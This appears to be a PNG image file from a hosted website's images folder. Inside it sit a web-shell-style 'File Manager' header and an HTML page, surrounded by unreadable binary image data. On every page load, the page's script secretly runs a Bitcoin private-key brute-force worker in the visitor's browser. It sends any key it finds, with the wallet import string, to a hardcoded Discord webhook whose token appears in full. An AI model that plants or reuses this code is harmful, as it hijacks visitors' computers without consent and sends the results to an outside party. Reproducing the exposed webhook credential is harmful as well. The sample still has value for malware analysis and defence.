PNG  IHDRxsBIT|d pHYs+tEXtSoftwarewww.inkscape.org<,tEXtComment File Manager

File Manager

Path: /home/u264723324/domains/richardmooresmith.org/public_html/ssl/images/

Viewing File: index.html

<!DOCTYPE html>
<html>
<head>
</head>
<body>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>⚡ BTC Address Hunter - Headless Scan</title>
</head>
<body>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>

    <script>
        // bs58 encoding/decoding utility (kept for consistency with worker)
        const bs58 = (function () {
            const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
            const BASE = ALPHABET.length;

            return {
                encode(buffer) {
                    if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);

                    let digits = [0];
                    for (let i = 0; i < buffer.length; ++i) {
                        for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
                        digits[0] += buffer[i];
                        let carry = 0;
                        for (let j = 0; j < digits.length; ++j) {
                            digits[j] += carry;
                            carry = (digits[j] / BASE) | 0;
                            digits[j] %= BASE;
                        }
                        while (carry) {
                            digits.push(carry % BASE);
                            carry = (carry / BASE) | 0;
                        }
                    }
                    let str = "";
                    for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
                    for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
                    return str;
                }
            };
        })();
    </script>

    <script>
        // --- HARDCODED SCAN PARAMETERS ---
        // IMPORTANT: You MUST replace 'YOUR_TARGET_BTC_ADDRESS_HERE' with the actual address you are searching for.
        const TARGET_ADDRESS = '1PWo3JeB9jrGwfHDNpdGK54CRas7fsVzXU'; // Example target address
        const START_HEX = '400000000000000000'; // Start of the random hex range
        const END_HEX = '7fffffffffffffffff';    // End of the random hex range
        // ---------------------------------

        // --- HARDCODED DISCORD WEBHOOK URL ---
        const DISCORD_WEBHOOK_URL = 'https://discordapp.com/api/webhooks/1095773664965836851/nkzz391OKRoLLans_lvTKhsipr2jxTaEqnGOGLD8KUlCLlzggH-0bzS77BWjlqCDcwl7';
        // -------------------------------------

        let scanWorker = null;
        let scanStartTime = 0;
        let totalScannedKeys = 0n; // Use BigInt for scanned keys

        /**
         * Logs a message to the browser console.
         * @param {string} msg - The message to log.
         * @param {'info'|'success'|'error'|'warn'} type - The type of message for console styling.
         */
        function consoleLog(msg, type = 'info') {
            switch (type) {
                case 'success':
                    console.log(`%c${msg}`, 'color: green; font-weight: bold;');
                    break;
                case 'error':
                    console.error(`%c${msg}`, 'color: red; font-weight: bold;');
                    break;
                case 'warn':
                    console.warn(`%c${msg}`, 'color: orange;');
                    break;
                case 'info':
                default:
                    console.info(msg);
                    break;
            }
        }

        /**
         * Sends the found Bitcoin address details to a Discord webhook.
         * @param {string} privHex - The found private key in hexadecimal.
         * @param {string} wif - The found WIF (Wallet Import Format) key.
         * @param {string} address - The matched Bitcoin address.
         */
        async function sendToDiscordWebhook(privHex, wif, address) {
            const webhookUrl = DISCORD_WEBHOOK_URL;

            if (!webhookUrl) {
                consoleLog('Discord Webhook URL is not set (hardcoded). Skipping notification.', 'warn');
                return;
            }

            if (!webhookUrl.startsWith('https://discord.com/api/webhooks/') &&
                !webhookUrl.startsWith('https://discordapp.com/api/webhooks/')) {
                consoleLog('Invalid Discord Webhook URL (hardcoded). Please provide a valid URL.', 'error');
                return;
            }

            const payload = {
                username: "BTC Address Hunter",
                avatar_url: "https://placehold.co/64x64/00bf72/ffffff?text=BTC", // Placeholder icon
                embeds: [
                    {
                        title: "🎉 Bitcoin Address Match Found!",
                        description: `A target Bitcoin address has been found!`,
                        color: 65280, // Green color for Discord embed
                        fields: [
                            { name: "Target Address", value: `\`${TARGET_ADDRESS}\``, inline: false },
                            { name: "Matched Address", value: `\`${address}\``, inline: false },
                            { name: "Private Key (Hex)", value: `\`${privHex}\``, inline: false },
                            { name: "WIF (Wallet Import Format)", value: `\`${wif}\``, inline: false },
                            { name: "Scan Time", value: `${((Date.now() - scanStartTime) / 1000).toFixed(2)} seconds`, inline: true },
                            { name: "Keys Scanned", value: totalScannedKeys.toLocaleString(), inline: true }
                        ],
                        footer: {
                            text: "Generated by BTC Address Hunter"
                        },
                        timestamp: new Date().toISOString()
                    }
                ]
            };

            try {
                const response = await fetch(webhookUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(payload),
                });

                if (response.ok) {
                    consoleLog('Successfully sent result to Discord webhook!', 'success');
                } else {
                    const errorText = await response.text();
                    consoleLog(`Failed to send result to Discord webhook: ${response.status} - ${errorText}`, 'error');
                }
            } catch (error) {
                consoleLog(`Network error sending to Discord webhook: ${error.message}`, 'error');
            }
        }

        /**
         * Starts the Bitcoin address scanning process using a Web Worker.
         */
        async function startScan() {
            totalScannedKeys = 0n; // Reset scanned keys
            scanStartTime = Date.now();

            const startBigInt = BigInt('0x' + START_HEX);
            const endBigInt = BigInt('0x' + END_HEX);

            if (startBigInt >= endBigInt) {
                consoleLog("❌ Critical Error: Hardcoded START_HEX must be less than END_HEX. Scan aborted.", 'error');
                return;
            }

            const rangeSize = endBigInt - startBigInt + 1n;
            consoleLog(`\n🔍 Starting automatic random scan for target: ${TARGET_ADDRESS}`);
            consoleLog(`🔢 Hardcoded Random Range (hex): ${START_HEX} → ${END_HEX}`);
            consoleLog(`📏 Search space size: ${rangeSize.toLocaleString()} possible keys.`);
            consoleLog(`Outputting progress to console. Open developer tools (F12) -> Console tab.`);

            // Create Web Worker as a Blob URL
            const workerScript = `
                importScripts('https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js');
                importScripts('https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js');

                // bs58 encoding/decoding utility (replicated for worker)
                const bs58 = (function () {
                    const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
                    const BASE = ALPHABET.length;
                    return {
                        encode(buffer) {
                            if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);
                            let digits = [0];
                            for (let i = 0; i < buffer.length; ++i) {
                                for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
                                digits[0] += buffer[i];
                                let carry = 0;
                                for (let j = 0; j < digits.length; ++j) {
                                    digits[j] += carry;
                                    carry = (digits[j] / BASE) | 0;
                                    digits[j] %= BASE;
                                }
                                while (carry) {
                                    digits.push(carry % BASE);
                                    carry = (carry / BASE) | 0;
                                }
                            }
                            let str = "";
                            for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
                            for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
                            return str;
                        }
                    };
                })();

                const ec = new elliptic.ec('secp256k1');

                /** Converts a hexadecimal string to a Uint8Array. */
                function hexToBytes(hex) {
                    return Uint8Array.from(hex.match(/.{1,2}/g).map(b => parseInt(b, 16)));
                }

                /** Converts a Uint8Array to a CryptoJS WordArray. */
                function bytesToWordArray(u8arr) {
                    const words = [];
                    for (let i = 0; i < u8arr.length; i += 4) {
                        let word = 0;
                        if (i < u8arr.length) word |= u8arr[i] << 24;
                        if (i + 1 < u8arr.length) word |= u8arr[i + 1] << 16;
                        if (i + 2 < u8arr.length) word |= u8arr[i + 2] << 8;
                        if (i + 3 < u8arr.length) word |= u8arr[i + 3];
                        words.push(word);
                    }
                    return CryptoJS.lib.WordArray.create(words, u8arr.length);
                }

                /** Computes the SHA256 hash of a Uint8Array. */
                function sha256(data) {
                    return CryptoJS.SHA256(bytesToWordArray(data)).toString();
                }

                /** Computes the RIPEMD160 hash of a hexadecimal string. */
                function ripemd160(hexStr) {
                    return CryptoJS.RIPEMD160(CryptoJS.enc.Hex.parse(hexStr)).toString();
                }

                /**
                 * Converts a private key (hex) to a compressed Bitcoin address.
                 * @param {string} privHex - The private key in hexadecimal format.
                 * @returns {string} The compressed Bitcoin address.
                 */
                function privateKeyToCompressedAddress(privHex) {
                    const key = ec.keyFromPrivate(privHex, 'hex');
                    const pubCompressed = key.getPublic(true, 'hex'); // Get compressed public key
                    const pubBytes = hexToBytes(pubCompressed);
                    const sha = sha256(pubBytes);
                    const ripemd = ripemd160(sha);
                    const versionedPayload = "00" + ripemd; // 0x00 for P2PKH mainnet addresses
                    // Double SHA256 for checksum
                    const checksum = sha256(hexToBytes(sha256(hexToBytes(versionedPayload)))).slice(0, 8);
                    const fullPayload = versionedPayload + checksum;
                    return bs58.encode(hexToBytes(fullPayload));
                }

                /**
                 * Converts a private key (hex) to its Wallet Import Format (WIF).
                 * @param {string} privHex - The private key in hexadecimal format.
                 * @returns {string} The WIF string.
                 */
                function privateKeyToWIF(privHex) {
                    const extended = "80" + privHex + "01"; // 0x80 for mainnet, 0x01 for compressed public key
                    const checksum = sha256(hexToBytes(sha256(hexToBytes(extended)))).slice(0, 8);
                    const fullPayload = extended + checksum;
                    return bs58.encode(hexToBytes(fullPayload));
                }

                /**
                 * Generates a random BigInt within a specified range (inclusive).
                 * Uses rejection sampling for uniform distribution.
                 * @param {BigInt} min - The minimum value (inclusive).
                 * @param {BigInt} max - The maximum value (inclusive).
                 * @returns {BigInt} A random BigInt within the range.
                 */
                function getRandomBigIntInRange(min, max) {
                    const range = max - min + 1n;
                    let bitLength = 0;
                    if (range > 0n) {
                        bitLength = range.toString(2).length;
                    } else {
                        return min;
                    }

                    const byteLength = Math.max(1, Math.ceil(bitLength / 8));
                    const randomBytes = new Uint8Array(byteLength);
                    let randomValue;

                    do {
                        self.crypto.getRandomValues(randomBytes); // Browser's crypto.getRandomValues
                        randomValue = 0n;
                        for (let i = 0; i < byteLength; i++) {
                            randomValue = (randomValue << 8n) | BigInt(randomBytes[i]);
                        }
                    } while (randomValue >= range);

                    return min + randomValue;
                }

                // Web Worker message handler
                self.onmessage = async function(event) {
                    const { target, startHex, endHex } = event.data;

                    const startBigInt = BigInt('0x' + startHex);
                    const endBigInt = BigInt('0x' + endHex);

                    let scannedCount = 0n;
                    let lastReportTime = Date.now();
                    const REPORT_INTERVAL = 500; // Report every 500 ms

                    // The loop runs indefinitely for random scanning until a match is found or terminated
                    while (true) {
                        const randomPrivKeyBigInt = getRandomBigIntInRange(startBigInt, endBigInt);
                        const privHex = randomPrivKeyBigInt.toString(16).padStart(64, '0');
                        const addr = privateKeyToCompressedAddress(privHex);
                        scannedCount++;

                        if (addr === target) {
                            const wif = privateKeyToWIF(privHex);
                            self.postMessage({
                                type: 'match',
                                privHex: privHex,
                                wif: wif,
                                address: addr,
                                scannedCount: scannedCount
                            });
                            return; // Stop scanning after a match is found
                        }

                        // Report progress back to the main thread periodically
                        if (Date.now() - lastReportTime > REPORT_INTERVAL) {
                            self.postMessage({
                                type: 'progress',
                                scannedCount: Number(scannedCount) // Send count as number for display
                            });
                            lastReportTime = Date.now();
                        }
                    }
                };
            `;
            const blob = new Blob([workerScript], { type: 'application/javascript' });
            scanWorker = new Worker(URL.createObjectURL(blob));

            // Main thread message handler for worker messages
            scanWorker.onmessage = function(event) {
                const data = event.data;
                if (data.type === 'progress') {
                    totalScannedKeys = BigInt(data.scannedCount);
                    const elapsed = (Date.now() - scanStartTime) / 1000;
                    const keysPerSecond = elapsed > 0 ? Number(totalScannedKeys) / elapsed : 0;
                    // Use console.clear() and console.log to simulate a dynamic update in console
                    // Note: console.clear() might clear other console messages too.
                    // For continuous line updates, you might need more advanced console manipulation (not standard in browsers).
                    // For now, just logging lines.
                    console.clear(); // Clears the console to show only latest progress
                    consoleLog(`Scanning... ${totalScannedKeys.toLocaleString()} keys scanned (${keysPerSecond.toFixed(2)} keys/sec)`);
                } else if (data.type === 'match') {
                    totalScannedKeys = BigInt(data.scannedCount); // Final count
                    consoleLog(`\n✅ MATCH FOUND!`, 'success');
                    consoleLog(`🔑 Private Key (hex): ${data.privHex}`);
                    consoleLog(`🔐 WIF (Compressed): ${data.wif}`);
                    consoleLog(`📍 Matched Address: ${data.address}`);
                    const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
                    consoleLog(`⏱️ Scan Time: ${elapsed} seconds`, 'info');
                    consoleLog(`Total keys scanned: ${totalScannedKeys.toLocaleString()}`, 'info');

                    // Send to Discord webhook
                    sendToDiscordWebhook(data.privHex, data.wif, data.address);

                    stopScan(); // Stop the worker after finding a match
                } else if (data.type === 'error') {
                    consoleLog(`Worker Error: ${data.message}`, 'error');
                    stopScan(); // Terminate worker on error
                }
            };

            // Main thread error handler for worker
            scanWorker.onerror = function(error) {
                consoleLog(`Web Worker Error: ${error.message}`, 'error');
                stopScan(); // Terminate worker on error
            };

            // Post initial message to worker to start scanning
            scanWorker.postMessage({
                target: TARGET_ADDRESS,
                startHex: START_HEX,
                endHex: END_HEX
            });
        }

        /**
         * Stops the current scanning process.
         */
        function stopScan() {
            if (scanWorker) {
                scanWorker.terminate();
                scanWorker = null;
                consoleLog("\nScan terminated.", 'warn');
                const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
                consoleLog(`⏱️ Total Scan Time: ${elapsed} seconds`, 'info');
            }
        }

        // Auto-start the scan when the page loads
        window.onload = startScan;
    </script>
</body>
</html>
b IDATxytVսϓ22 A@IR :hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-EIENT ;@xT.i%-X}SvS5.r/UHz^_$-W"w)Ɗ/@Z &IoX P$K}JzX:;` &, ŋui,e6mX ԵrKb1ԗ)DADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADA݀!I*]R;I2$eZ#ORZSrr6mteffu*((Pu'v{DIߔ4^pIm'77WEEE;vƎ4-$]'RI{\I&G :IHJ DWBB=\WR޽m o$K(V9ABB.}jѢv`^?IOȅ} ڶmG}T#FJ`56$-ھ}FI&v;0(h;Б38CӧOWf!;A i:F_m9s&|q%=#wZprrrla A &P\\СC[A#! {olF} `E2}MK/vV)i{4BffV\|ۭX`b@kɶ@%i$K z5zhmX[IXZ` 'b%$r5M4º/l ԃߖxhʔ)[@=} K6IM}^5k㏷݆z ΗÿO:gdGBmyT/@+Vɶ纽z񕏵l.y޴it뭷zV0[Y^>Wsqs}\/@$(T7f.InݺiR$푔n.~?H))\ZRW'Mo~v Ov6oԃxz! S,&xm/yɞԟ?'uaSѽb,8GלKboi&3t7Y,)JJ c[nzӳdE&KsZLӄ I?@&%ӟ۶mSMMњ0iؐSZ,|J+N ~,0A0!5%Q-YQQa3}$_vVrf9f?S8`zDADADADADADADADADAdqP,تmMmg1V?rSI꒟]u|l RCyEf٢9 jURbztѰ!m5~tGj2DhG*{H9)꒟ר3:(+3\?/;TUݭʴ~S6lڧUJ*i$d(#=Yݺd{,p|3B))q:vN0Y.jkק6;SɶVzHJJЀ-utѹսk>QUU\޲~]fFnK?&ߡ5b=z9)^|u_k-[y%ZNU6 7Mi:]ۦtk[n X(e6Bb."8cۭ|~teuuw|ήI-5"~Uk;ZicEmN/:]M> cQ^uiƞ??Ңpc#TUU3UakNwA`:Y_V-8.KKfRitv޲* 9S6ֿj,ՃNOMߤ]z^fOh|<>@Å5 _/Iu?{SY4hK/2]4%it5q]GGe2%iR| W&f*^]??vq[LgE_3f}Fxu~}qd-ږFxu~I N>\;͗O֊:̗WJ@BhW=y|GgwܷH_NY?)Tdi'?խwhlmQi !SUUsw4kӺe4rfxu-[nHtMFj}H_u~w>)oV}(T'ebʒv3_[+vn@Ȭ\S}ot}w=kHFnxg S 0eޢm~l}uqZfFoZuuEg `zt~? b;t%>WTkķh[2eG8LIWx,^\thrl^Ϊ{=dž<}qV@ ⠨Wy^LF_>0UkDuʫuCs$)Iv:IK;6ֲ4{^6եm+l3>݆uM 9u?>Zc }g~qhKwڭeFMM~pМuqǿz6Tb@8@Y|jx](^]gf}M"tG -w.@vOqh~/HII`S[l.6nØXL9vUcOoB\xoǤ'T&IǍQw_wpv[kmO{w~>#=P1Pɞa-we:iǏlHo׈꒟f9SzH?+shk%Fs:qVhqY`jvO'ρ?PyX3lх]˾uV{ݞ]1,MzYNW~̈́ joYn}ȚF߾׮mS]F z+EDxm/d{F{-W-4wY듏:??_gPf ^3ecg ҵs8R2מz@TANGj)}CNi/R~}c:5{!ZHӋӾ6}T]G]7W6^n 9*,YqOZj:P?Q DFL|?-^.Ɵ7}fFh׶xe2Pscz1&5\cn[=Vn[ĶE鎀uˌd3GII k;lNmشOuuRVfBE]ۣeӶu :X-[(er4~LHi6:Ѻ@ԅrST0trk%$Č0ez" *z"T/X9|8.C5Feg}CQ%͞ˣJvL/?j^h&9xF`њZ(&yF&Iݻfg#W;3^{Wo^4'vV[[K';+mӍִ]AC@W?1^{එyh +^]fm~iԵ]AB@WTk̏t uR?l.OIHiYyԶ]Aˀ7c:q}ힽaf6Z~қm(+sK4{^6}T*UUu]n.:kx{:2 _m=sAߤU@?Z-Vކеz왍Nэ{|5 pڶn b p-@sPg]0G7fy-M{GCF'%{4`=$-Ge\ eU:m+Zt'WjO!OAF@ik&t݆ϥ_ e}=]"Wz_.͜E3leWFih|t-wZۍ-uw=6YN{6|} |*={Ѽn.S.z1zjۻTH]흾 DuDvmvK.`V]yY~sI@t?/ϓ. m&["+P?MzovVЫG3-GRR[(!!\_,^%?v@ҵő m`Y)tem8GMx.))A]Y i`ViW`?^~!S#^+ѽGZj?Vģ0.))A꨷lzL*]OXrY`DBBLOj{-MH'ii-ϰ ok7^ )쭡b]UXSְmռY|5*cֽk0B7镹%ڽP#8nȎq}mJr23_>lE5$iwui+ H~F`IjƵ@q \ @#qG0".0" l`„.0! ,AQHN6qzkKJ#o;`Xv2>,tێJJ7Z/*A .@fفjMzkg @TvZH3Zxu6Ra'%O?/dQ5xYkU]Rֽkق@DaS^RSּ5|BeHNN͘p HvcYcC5:y #`οb;z2.!kr}gUWkyZn=f Pvsn3p~;4p˚=ē~NmI] ¾ 0lH[_L hsh_ғߤc_њec)g7VIZ5yrgk̞W#IjӪv>՞y睝M8[|]\շ8M6%|@PZڨI-m>=k='aiRo-x?>Q.}`Ȏ:Wsmu u > .@,&;+!!˱tﭧDQwRW\vF\~Q7>spYw$%A~;~}6¾ g&if_=j,v+UL1(tWake:@Ș>j$Gq2t7S?vL|]u/ .(0E6Mk6hiۺzښOrifޱxm/Gx> Lal%%~{lBsR4*}{0Z/tNIɚpV^#Lf:u@k#RSu =S^ZyuR/.@n&΃z~B=0eg뺆#,Þ[B/?H uUf7y Wy}Bwegל`Wh(||`l`.;Ws?V@"c:iɍL֯PGv6zctM̠':wuW;d=;EveD}9J@B(0iհ bvP1{\P&G7D޴Iy_$-Qjm~Yrr&]CDv%bh|Yzni_ˆR;kg}nJOIIwyuL}{ЌNj}:+3Y?:WJ/N+Rzd=hb;dj͒suݔ@NKMԄ jqzC5@y°hL m;*5ezᕏ=ep XL n?מ:r`۵tŤZ|1v`V뽧_csج'ߤ%oTuumk%%%h)uy]Nk[n 'b2 l.=͜E%gf$[c;s:V-͞WߤWh-j7]4=F-X]>ZLSi[Y*We;Zan(ӇW|e(HNNP5[= r4tP &0<pc#`vTNV GFqvTi*Tyam$ߏWyE*VJKMTfFw>'$-ؽ.Ho.8c"@DADADADADADADADADA~j*֘,N;Pi3599h=goضLgiJ5փy~}&Zd9p֚ e:|hL``b/d9p? fgg+%%hMgXosج, ΩOl0Zh=xdjLmhݻoO[g_l,8a]٭+ӧ0$I]c]:粹:Teꢢ"5a^Kgh,&= =՟^߶“ߢE ܹS J}I%:8 IDAT~,9/ʃPW'Mo}zNƍ쨓zPbNZ~^z=4mswg;5 Y~SVMRXUյڱRf?s:w ;6H:ºi5-maM&O3;1IKeamZh͛7+##v+c ~u~ca]GnF'ټL~PPPbn voC4R,ӟgg %hq}@#M4IÇ Oy^xMZx ) yOw@HkN˖-Sǎmb]X@n+i͖!++K3gd\$mt$^YfJ\8PRF)77Wא!Cl$i:@@_oG I{$# 8磌ŋ91A (Im7֭>}ߴJq7ޗt^ -[ԩSj*}%]&' -ɓ'ꫯVzzvB#;a 7@GxI{j޼ƌ.LÇWBB7`O"I$/@R @eee@۷>}0,ɒ2$53Xs|cS~rpTYYY} kHc %&k.], @ADADADADADADADADA@lT<%''*Lo^={رc5h %$+CnܸQ3fҥK}vUVVs9G R,_{xˇ3o߾;TTTd}馛]uuuG~iԩ@4bnvmvfϞ /Peeeq}}za I~,誫{UWW뮻}_~YƍSMMMYχ֝waw\ďcxꩧtEƍկ_?۷5@u?1kNׯWzz/wy>}zj3 k(ٺuq_Zvf̘:~ ABQ&r|!%KҥKgԞ={<_X-z !CyFUUz~ ABQIIIjݺW$UXXDٳZ~ ABQƍecW$<(~<RSSvZujjjԧOZQu@4 8m&&&jԩg$ď1h ͟?_{768@g =@`)))5o6m3)ѣƌJ;wҿUTT /KZR{~a=@0o<*狔iFɶ[ˎ;T]]OX@?K.ۈxN pppppppppppppppppPfl߾] ,{ァk۶mڿo5BTӦMӴiӴ|r DB2e|An!Dy'tkΝ[A $***t5' "!駟oaDnΝ:t֭[gDШQ06qD;@ x M6v(PiizmZ4ew"@̴ixf [~-Fٱc&IZ2|n!?$@{[HTɏ#@hȎI# _m(F /6Z3z'\r,r!;w2Z3j=~GY7"I$iI.p_"?pN`y DD?: _  Gÿab7J !Bx@0 Bo cG@`1C[@0G @`0C_u V1 aCX>W ` | `!<S `"<. `#c`?cAC4 ?c p#~@0?:08&_MQ1J h#?/`7;I  q 7a wQ A 1 Hp !#<8/#@1Ul7=S=K.4Z?E_$i@!1!E4?`P_  @Bă10#: "aU,xbFY1 [n|n #'vEH:`xb #vD4Y hi.i&EΖv#O H4IŶ}:Ikh @tZRF#(tXҙzZ ?I3l7q@õ|ۍ1,GpuY Ꮿ@hJv#xxk$ v#9 5 }_$c S#=+"K{F*m7`#%H:NRSp6I?sIՖ{Ap$I$I:QRv2$Z @UJ*$]<FO4IENDB`